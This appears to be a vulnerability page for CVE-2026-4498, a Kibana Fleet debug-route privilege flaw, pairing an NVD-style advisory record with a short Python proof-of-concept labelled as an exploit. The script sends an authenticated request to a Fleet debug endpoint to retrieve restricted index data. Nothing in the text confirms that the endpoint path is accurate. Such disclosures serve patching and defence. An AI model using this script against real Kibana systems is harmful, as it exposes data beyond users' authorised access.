CVE-2026-4498

import requests # Target configuration target_url = "https://<kibana-host>:5601/api/fleet/agents/debug" # Headers with authentication (e.g., Cookie or Bearer token) headers = { "kbn-xsrf": "reporting", "Authorization": "Basic <base64_credentials>" } try: # Send request to the vulnerable debug route # This exploits the unnecessary privilege execution to bypass RBAC response = requests.get(target_url, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit successful! Restricted data retrieved:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-4498", "sourceIdentifier": "[email protected]", "published": "2026-04-08T17:21:24.300", "lastModified": "2026-04-13T18:22:55.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Execution with Unnecessary Privileges (CWE-250) in Kibana’s Fleet plugin debug route handlers can lead reading index data beyond their direct Elasticsearch RBAC scope via Privilege Abuse (CAPEC-122). This requires an authenticated Kibana user with Fleet sub-feature privileges (such as agents, agent policies, and settings management)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.14", "matchCriteriaId": "CF93FCD4-2955-45FD-B96D-925121A156F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.2.8", "matchCriteriaId": "301F60F3-1479-432C-875A-76797F9A16D8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.3.0", "versionEndExcluding": "9.3.3", "matchCriteriaId": "5EE7B9F3-E587-498B-822D-785CB848F767"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-14-9-2-8-9-3-3-security-update-esa-2026-21/385811", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}